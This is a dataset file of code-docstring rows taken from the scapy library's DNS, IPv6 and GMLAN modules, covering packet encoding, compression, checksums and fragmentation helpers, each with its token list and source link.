"""Encodes a bytes string into the DNS format
:param x: the string
:param check_built: detect already-built strings and ignore them
:returns: the encoded bytes string
"""
if not x or x == b".":
return b"\x00"
if check_built and b"." not in x an... | [
"def",
"dns_encode",
"(",
"x",
",",
"check_built",
"=",
"False",
")",
":",
"if",
"not",
"x",
"or",
"x",
"==",
"b\".\"",
":",
"return",
"b\"\\x00\"",
"if",
"check_built",
"and",
"b\".\"",
"not",
"in",
"x",
"and",
"(",
"orb",
"(",
"x",
"[",
"-",
"1",... | Encodes a bytes string into the DNS format
:param x: the string
:param check_built: detect already-built strings and ignore them
:returns: the encoded bytes string | [
"Encodes",
"a",
"bytes",
"string",
"into",
"the",
"DNS",
"format"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/dns.py#L105-L125 | train | Encodes a bytes string into the DNS format. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/dns.py | dns_compress | def dns_compress(pkt):
"""This function compresses a DNS packet according to compression rules.
"""
if DNS not in pkt:
raise Scapy_Exception("Can only compress DNS layers")
pkt = pkt.copy()
dns_pkt = pkt.getlayer(DNS)
build_pkt = raw(dns_pkt)
def field_gen(dns_pkt):
"""Itera... | python | def dns_compress(pkt):
"""This function compresses a DNS packet according to compression rules.
"""
if DNS not in pkt:
raise Scapy_Exception("Can only compress DNS layers")
pkt = pkt.copy()
dns_pkt = pkt.getlayer(DNS)
build_pkt = raw(dns_pkt)
def field_gen(dns_pkt):
"""Itera... | [
"def",
"dns_compress",
"(",
"pkt",
")",
":",
"if",
"DNS",
"not",
"in",
"pkt",
":",
"raise",
"Scapy_Exception",
"(",
"\"Can only compress DNS layers\"",
")",
"pkt",
"=",
"pkt",
".",
"copy",
"(",
")",
"dns_pkt",
"=",
"pkt",
".",
"getlayer",
"(",
"DNS",
")"... | This function compresses a DNS packet according to compression rules. | [
"This",
"function",
"compresses",
"a",
"DNS",
"packet",
"according",
"to",
"compression",
"rules",
"."
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/dns.py#L134-L214 | train | This function compresses a DNS packet according to the compression rules. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/dns.py | RRlist2bitmap | def RRlist2bitmap(lst):
"""
Encode a list of integers representing Resource Records to a bitmap field
used in the NSEC Resource Record.
"""
# RFC 4034, 4.1.2. The Type Bit Maps Field
import math
bitmap = b""
lst = [abs(x) for x in sorted(set(lst)) if x <= 65535]
# number of window... | python | def RRlist2bitmap(lst):
"""
Encode a list of integers representing Resource Records to a bitmap field
used in the NSEC Resource Record.
"""
# RFC 4034, 4.1.2. The Type Bit Maps Field
import math
bitmap = b""
lst = [abs(x) for x in sorted(set(lst)) if x <= 65535]
# number of window... | [
"def",
"RRlist2bitmap",
"(",
"lst",
")",
":",
"# RFC 4034, 4.1.2. The Type Bit Maps Field",
"import",
"math",
"bitmap",
"=",
"b\"\"",
"lst",
"=",
"[",
"abs",
"(",
"x",
")",
"for",
"x",
"in",
"sorted",
"(",
"set",
"(",
"lst",
")",
")",
"if",
"x",
"<=",
... | Encode a list of integers representing Resource Records to a bitmap field
used in the NSEC Resource Record. | [
"Encode",
"a",
"list",
"of",
"integers",
"representing",
"Resource",
"Records",
"to",
"a",
"bitmap",
"field",
"used",
"in",
"the",
"NSEC",
"Resource",
"Record",
"."
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/dns.py#L550-L599 | train | Encode a list of integers representing Resource Records to a bitmap field. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/dns.py | dyndns_add | def dyndns_add(nameserver, name, rdata, type="A", ttl=10):
"""Send a DNS add message to a nameserver for "name" to have a new "rdata"
dyndns_add(nameserver, name, rdata, type="A", ttl=10) -> result code (0=ok)
example: dyndns_add("ns1.toto.com", "dyn.toto.com", "127.0.0.1")
RFC2136
"""
zone = name[name.find(".... | python | def dyndns_add(nameserver, name, rdata, type="A", ttl=10):
"""Send a DNS add message to a nameserver for "name" to have a new "rdata"
dyndns_add(nameserver, name, rdata, type="A", ttl=10) -> result code (0=ok)
example: dyndns_add("ns1.toto.com", "dyn.toto.com", "127.0.0.1")
RFC2136
"""
zone = name[name.find(".... | [
"def",
"dyndns_add",
"(",
"nameserver",
",",
"name",
",",
"rdata",
",",
"type",
"=",
"\"A\"",
",",
"ttl",
"=",
"10",
")",
":",
"zone",
"=",
"name",
"[",
"name",
".",
"find",
"(",
"\".\"",
")",
"+",
"1",
":",
"]",
"r",
"=",
"sr1",
"(",
"IP",
"... | Send a DNS add message to a nameserver for "name" to have a new "rdata"
dyndns_add(nameserver, name, rdata, type="A", ttl=10) -> result code (0=ok)
example: dyndns_add("ns1.toto.com", "dyn.toto.com", "127.0.0.1")
RFC2136 | [
"Send",
"a",
"DNS",
"add",
"message",
"to",
"a",
"nameserver",
"for",
"name",
"to",
"have",
"a",
"new",
"rdata",
"dyndns_add",
"(",
"nameserver",
"name",
"rdata",
"type",
"=",
"A",
"ttl",
"=",
"10",
")",
"-",
">",
"result",
"code",
"(",
"0",
"=",
"... | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/dns.py#L890-L906 | train | Send a DNS add message to a nameserver for name to have a new rdata | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/dns.py | TimeSignedField._convert_seconds | def _convert_seconds(self, packed_seconds):
"""Unpack the internal representation."""
seconds = struct.unpack("!H", packed_seconds[:2])[0]
seconds += struct.unpack("!I", packed_seconds[2:])[0]
return seconds | python | def _convert_seconds(self, packed_seconds):
"""Unpack the internal representation."""
seconds = struct.unpack("!H", packed_seconds[:2])[0]
seconds += struct.unpack("!I", packed_seconds[2:])[0]
return seconds | [
"def",
"_convert_seconds",
"(",
"self",
",",
"packed_seconds",
")",
":",
"seconds",
"=",
"struct",
".",
"unpack",
"(",
"\"!H\"",
",",
"packed_seconds",
"[",
":",
"2",
"]",
")",
"[",
"0",
"]",
"seconds",
"+=",
"struct",
".",
"unpack",
"(",
"\"!I\"",
","... | Unpack the internal representation. | [
"Unpack",
"the",
"internal",
"representation",
"."
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/dns.py#L776-L780 | train | Unpack the internal representation. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/dns.py | TimeSignedField.h2i | def h2i(self, pkt, seconds):
"""Convert the number of seconds since 1-Jan-70 UTC to the packed
representation."""
if seconds is None:
seconds = 0
tmp_short = (seconds >> 32) & 0xFFFF
tmp_int = seconds & 0xFFFFFFFF
return struct.pack("!HI", tmp_short, tmp... | python | def h2i(self, pkt, seconds):
"""Convert the number of seconds since 1-Jan-70 UTC to the packed
representation."""
if seconds is None:
seconds = 0
tmp_short = (seconds >> 32) & 0xFFFF
tmp_int = seconds & 0xFFFFFFFF
return struct.pack("!HI", tmp_short, tmp... | [
"def",
"h2i",
"(",
"self",
",",
"pkt",
",",
"seconds",
")",
":",
"if",
"seconds",
"is",
"None",
":",
"seconds",
"=",
"0",
"tmp_short",
"=",
"(",
"seconds",
">>",
"32",
")",
"&",
"0xFFFF",
"tmp_int",
"=",
"seconds",
"&",
"0xFFFFFFFF",
"return",
"struc... | Convert the number of seconds since 1-Jan-70 UTC to the packed
representation. | [
"Convert",
"the",
"number",
"of",
"seconds",
"since",
"1",
"-",
"Jan",
"-",
"70",
"UTC",
"to",
"the",
"packed",
"representation",
"."
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/dns.py#L782-L792 | train | Convert the number of seconds since 1 - Jan - 70 UTC to the packed
representation. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/dns.py | TimeSignedField.i2repr | def i2repr(self, pkt, packed_seconds):
"""Convert the internal representation to a nice one using the RFC
format."""
time_struct = time.gmtime(self._convert_seconds(packed_seconds))
return time.strftime("%a %b %d %H:%M:%S %Y", time_struct) | python | def i2repr(self, pkt, packed_seconds):
"""Convert the internal representation to a nice one using the RFC
format."""
time_struct = time.gmtime(self._convert_seconds(packed_seconds))
return time.strftime("%a %b %d %H:%M:%S %Y", time_struct) | [
"def",
"i2repr",
"(",
"self",
",",
"pkt",
",",
"packed_seconds",
")",
":",
"time_struct",
"=",
"time",
".",
"gmtime",
"(",
"self",
".",
"_convert_seconds",
"(",
"packed_seconds",
")",
")",
"return",
"time",
".",
"strftime",
"(",
"\"%a %b %d %H:%M:%S %Y\"",
"... | Convert the internal representation to a nice one using the RFC
format. | [
"Convert",
"the",
"internal",
"representation",
"to",
"a",
"nice",
"one",
"using",
"the",
"RFC",
"format",
"."
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/dns.py#L803-L807 | train | Convert the internal representation to a nice one using the RFC
format. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/contrib/automotive/gm/gmlan.py | GMLAN.answers | def answers(self, other):
"""DEV: true if self is an answer from other"""
if other.__class__ == self.__class__:
return (other.service + 0x40) == self.service or \
(self.service == 0x7f and
(self.requestServiceId == other.service))
return 0 | python | def answers(self, other):
"""DEV: true if self is an answer from other"""
if other.__class__ == self.__class__:
return (other.service + 0x40) == self.service or \
(self.service == 0x7f and
(self.requestServiceId == other.service))
return 0 | [
"def",
"answers",
"(",
"self",
",",
"other",
")",
":",
"if",
"other",
".",
"__class__",
"==",
"self",
".",
"__class__",
":",
"return",
"(",
"other",
".",
"service",
"+",
"0x40",
")",
"==",
"self",
".",
"service",
"or",
"(",
"self",
".",
"service",
... | DEV: true if self is an answer from other | [
"DEV",
":",
"true",
"if",
"self",
"is",
"an",
"answer",
"from",
"other"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/automotive/gm/gmlan.py#L88-L94 | train | Returns True if self is an answer from other. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/inet6.py | neighsol | def neighsol(addr, src, iface, timeout=1, chainCC=0):
"""Sends and receive an ICMPv6 Neighbor Solicitation message
This function sends an ICMPv6 Neighbor Solicitation message
to get the MAC address of the neighbor with specified IPv6 address address.
'src' address is used as source of the message. Mes... | python | def neighsol(addr, src, iface, timeout=1, chainCC=0):
"""Sends and receive an ICMPv6 Neighbor Solicitation message
This function sends an ICMPv6 Neighbor Solicitation message
to get the MAC address of the neighbor with specified IPv6 address address.
'src' address is used as source of the message. Mes... | [
"def",
"neighsol",
"(",
"addr",
",",
"src",
",",
"iface",
",",
"timeout",
"=",
"1",
",",
"chainCC",
"=",
"0",
")",
":",
"nsma",
"=",
"in6_getnsma",
"(",
"inet_pton",
"(",
"socket",
".",
"AF_INET6",
",",
"addr",
")",
")",
"d",
"=",
"inet_ntop",
"(",... | Sends and receive an ICMPv6 Neighbor Solicitation message
This function sends an ICMPv6 Neighbor Solicitation message
to get the MAC address of the neighbor with specified IPv6 address address.
'src' address is used as source of the message. Message is sent on iface.
By default, timeout waiting for an... | [
"Sends",
"and",
"receive",
"an",
"ICMPv6",
"Neighbor",
"Solicitation",
"message"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L85-L107 | train | Sends and receive an ICMPv6 Neighbor Solicitation message to the specified IPv6 address. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/inet6.py | getmacbyip6 | def getmacbyip6(ip6, chainCC=0):
"""Returns the MAC address corresponding to an IPv6 address
neighborCache.get() method is used on instantiated neighbor cache.
Resolution mechanism is described in associated doc string.
(chainCC parameter value ends up being passed to sending function
used to per... | python | def getmacbyip6(ip6, chainCC=0):
"""Returns the MAC address corresponding to an IPv6 address
neighborCache.get() method is used on instantiated neighbor cache.
Resolution mechanism is described in associated doc string.
(chainCC parameter value ends up being passed to sending function
used to per... | [
"def",
"getmacbyip6",
"(",
"ip6",
",",
"chainCC",
"=",
"0",
")",
":",
"if",
"isinstance",
"(",
"ip6",
",",
"Net6",
")",
":",
"ip6",
"=",
"str",
"(",
"ip6",
")",
"if",
"in6_ismaddr",
"(",
"ip6",
")",
":",
"# Multicast",
"mac",
"=",
"in6_getnsmac",
"... | Returns the MAC address corresponding to an IPv6 address
neighborCache.get() method is used on instantiated neighbor cache.
Resolution mechanism is described in associated doc string.
(chainCC parameter value ends up being passed to sending function
used to perform the resolution, if needed) | [
"Returns",
"the",
"MAC",
"address",
"corresponding",
"to",
"an",
"IPv6",
"address"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L111-L150 | train | Returns the MAC address corresponding to an IPv6 address. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/inet6.py | in6_chksum | def in6_chksum(nh, u, p):
"""
As Specified in RFC 2460 - 8.1 Upper-Layer Checksums
Performs IPv6 Upper Layer checksum computation. Provided parameters are:
- 'nh' : value of upper layer protocol
- 'u' : upper layer instance (TCP, UDP, ICMPv6*, ). Instance must be
provided with all und... | python | def in6_chksum(nh, u, p):
"""
As Specified in RFC 2460 - 8.1 Upper-Layer Checksums
Performs IPv6 Upper Layer checksum computation. Provided parameters are:
- 'nh' : value of upper layer protocol
- 'u' : upper layer instance (TCP, UDP, ICMPv6*, ). Instance must be
provided with all und... | [
"def",
"in6_chksum",
"(",
"nh",
",",
"u",
",",
"p",
")",
":",
"ph6",
"=",
"PseudoIPv6",
"(",
")",
"ph6",
".",
"nh",
"=",
"nh",
"rthdr",
"=",
"0",
"hahdr",
"=",
"0",
"final_dest_addr_found",
"=",
"0",
"while",
"u",
"is",
"not",
"None",
"and",
"not... | As Specified in RFC 2460 - 8.1 Upper-Layer Checksums
Performs IPv6 Upper Layer checksum computation. Provided parameters are:
- 'nh' : value of upper layer protocol
- 'u' : upper layer instance (TCP, UDP, ICMPv6*, ). Instance must be
provided with all under layers (IPv6 and all extension head... | [
"As",
"Specified",
"in",
"RFC",
"2460",
"-",
"8",
".",
"1",
"Upper",
"-",
"Layer",
"Checksums"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L563-L619 | train | This function calculates the checksum of an IPv6 message. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/inet6.py | defragment6 | def defragment6(packets):
"""
Performs defragmentation of a list of IPv6 packets. Packets are reordered.
Crap is dropped. What lacks is completed by 'X' characters.
"""
# Remove non fragments
lst = [x for x in packets if IPv6ExtHdrFragment in x]
if not lst:
return []
id = lst[0... | python | def defragment6(packets):
"""
Performs defragmentation of a list of IPv6 packets. Packets are reordered.
Crap is dropped. What lacks is completed by 'X' characters.
"""
# Remove non fragments
lst = [x for x in packets if IPv6ExtHdrFragment in x]
if not lst:
return []
id = lst[0... | [
"def",
"defragment6",
"(",
"packets",
")",
":",
"# Remove non fragments",
"lst",
"=",
"[",
"x",
"for",
"x",
"in",
"packets",
"if",
"IPv6ExtHdrFragment",
"in",
"x",
"]",
"if",
"not",
"lst",
":",
"return",
"[",
"]",
"id",
"=",
"lst",
"[",
"0",
"]",
"["... | Performs defragmentation of a list of IPv6 packets. Packets are reordered.
Crap is dropped. What lacks is completed by 'X' characters. | [
"Performs",
"defragmentation",
"of",
"a",
"list",
"of",
"IPv6",
"packets",
".",
"Packets",
"are",
"reordered",
".",
"Crap",
"is",
"dropped",
".",
"What",
"lacks",
"is",
"completed",
"by",
"X",
"characters",
"."
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L1027-L1078 | train | Takes a list of IPv6 packets and returns a list of IPv6 fragments. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/inet6.py | fragment6 | def fragment6(pkt, fragSize):
"""
Performs fragmentation of an IPv6 packet. Provided packet ('pkt') must
already contain an IPv6ExtHdrFragment() class. 'fragSize' argument is the
expected maximum size of fragments (MTU). The list of packets is returned.
If packet does not contain an IPv6ExtHdrFragm... | python | def fragment6(pkt, fragSize):
"""
Performs fragmentation of an IPv6 packet. Provided packet ('pkt') must
already contain an IPv6ExtHdrFragment() class. 'fragSize' argument is the
expected maximum size of fragments (MTU). The list of packets is returned.
If packet does not contain an IPv6ExtHdrFragm... | [
"def",
"fragment6",
"(",
"pkt",
",",
"fragSize",
")",
":",
"pkt",
"=",
"pkt",
".",
"copy",
"(",
")",
"if",
"IPv6ExtHdrFragment",
"not",
"in",
"pkt",
":",
"# TODO : automatically add a fragment before upper Layer",
"# at the moment, we do nothing and return initial ... | Performs fragmentation of an IPv6 packet. Provided packet ('pkt') must
already contain an IPv6ExtHdrFragment() class. 'fragSize' argument is the
expected maximum size of fragments (MTU). The list of packets is returned.
If packet does not contain an IPv6ExtHdrFragment class, it is returned in
result li... | [
"Performs",
"fragmentation",
"of",
"an",
"IPv6",
"packet",
".",
"Provided",
"packet",
"(",
"pkt",
")",
"must",
"already",
"contain",
"an",
"IPv6ExtHdrFragment",
"()",
"class",
".",
"fragSize",
"argument",
"is",
"the",
"expected",
"maximum",
"size",
"of",
"frag... | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L1081-L1168 | train | This function is used to create a new IPv6 fragment. It is used to create a new IPv6 packet with the specified fragment size. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/inet6.py | names2dnsrepr | def names2dnsrepr(x):
"""
Take as input a list of DNS names or a single DNS name
and encode it in DNS format (with possible compression)
If a string that is already a DNS name in DNS format
is passed, it is returned unmodified. Result is a string.
!!! At the moment, compression is not implement... | python | def names2dnsrepr(x):
"""
Take as input a list of DNS names or a single DNS name
and encode it in DNS format (with possible compression)
If a string that is already a DNS name in DNS format
is passed, it is returned unmodified. Result is a string.
!!! At the moment, compression is not implement... | [
"def",
"names2dnsrepr",
"(",
"x",
")",
":",
"if",
"isinstance",
"(",
"x",
",",
"bytes",
")",
":",
"if",
"x",
"and",
"x",
"[",
"-",
"1",
":",
"]",
"==",
"b'\\x00'",
":",
"# stupid heuristic",
"return",
"x",
"x",
"=",
"[",
"x",
"]",
"res",
"=",
"... | Take as input a list of DNS names or a single DNS name
and encode it in DNS format (with possible compression)
If a string that is already a DNS name in DNS format
is passed, it is returned unmodified. Result is a string.
!!! At the moment, compression is not implemented !!! | [
"Take",
"as",
"input",
"a",
"list",
"of",
"DNS",
"names",
"or",
"a",
"single",
"DNS",
"name",
"and",
"encode",
"it",
"in",
"DNS",
"format",
"(",
"with",
"possible",
"compression",
")",
"If",
"a",
"string",
"that",
"is",
"already",
"a",
"DNS",
"name",
... | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L2244-L2265 | train | Convert a list of DNS names or a single DNS name into a DNS name in DNS format. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/inet6.py | dnsrepr2names | def dnsrepr2names(x):
"""
Take as input a DNS encoded string (possibly compressed)
and returns a list of DNS names contained in it.
If provided string is already in printable format
(does not end with a null character, a one element list
is returned). Result is a list.
"""
res = []
c... | python | def dnsrepr2names(x):
"""
Take as input a DNS encoded string (possibly compressed)
and returns a list of DNS names contained in it.
If provided string is already in printable format
(does not end with a null character, a one element list
is returned). Result is a list.
"""
res = []
c... | [
"def",
"dnsrepr2names",
"(",
"x",
")",
":",
"res",
"=",
"[",
"]",
"cur",
"=",
"b\"\"",
"while",
"x",
":",
"tmp_len",
"=",
"orb",
"(",
"x",
"[",
"0",
"]",
")",
"x",
"=",
"x",
"[",
"1",
":",
"]",
"if",
"not",
"tmp_len",
":",
"if",
"cur",
"and... | Take as input a DNS encoded string (possibly compressed)
and returns a list of DNS names contained in it.
If provided string is already in printable format
(does not end with a null character, a one element list
is returned). Result is a list. | [
"Take",
"as",
"input",
"a",
"DNS",
"encoded",
"string",
"(",
"possibly",
"compressed",
")",
"and",
"returns",
"a",
"list",
"of",
"DNS",
"names",
"contained",
"in",
"it",
".",
"If",
"provided",
"string",
"is",
"already",
"in",
"printable",
"format",
"(",
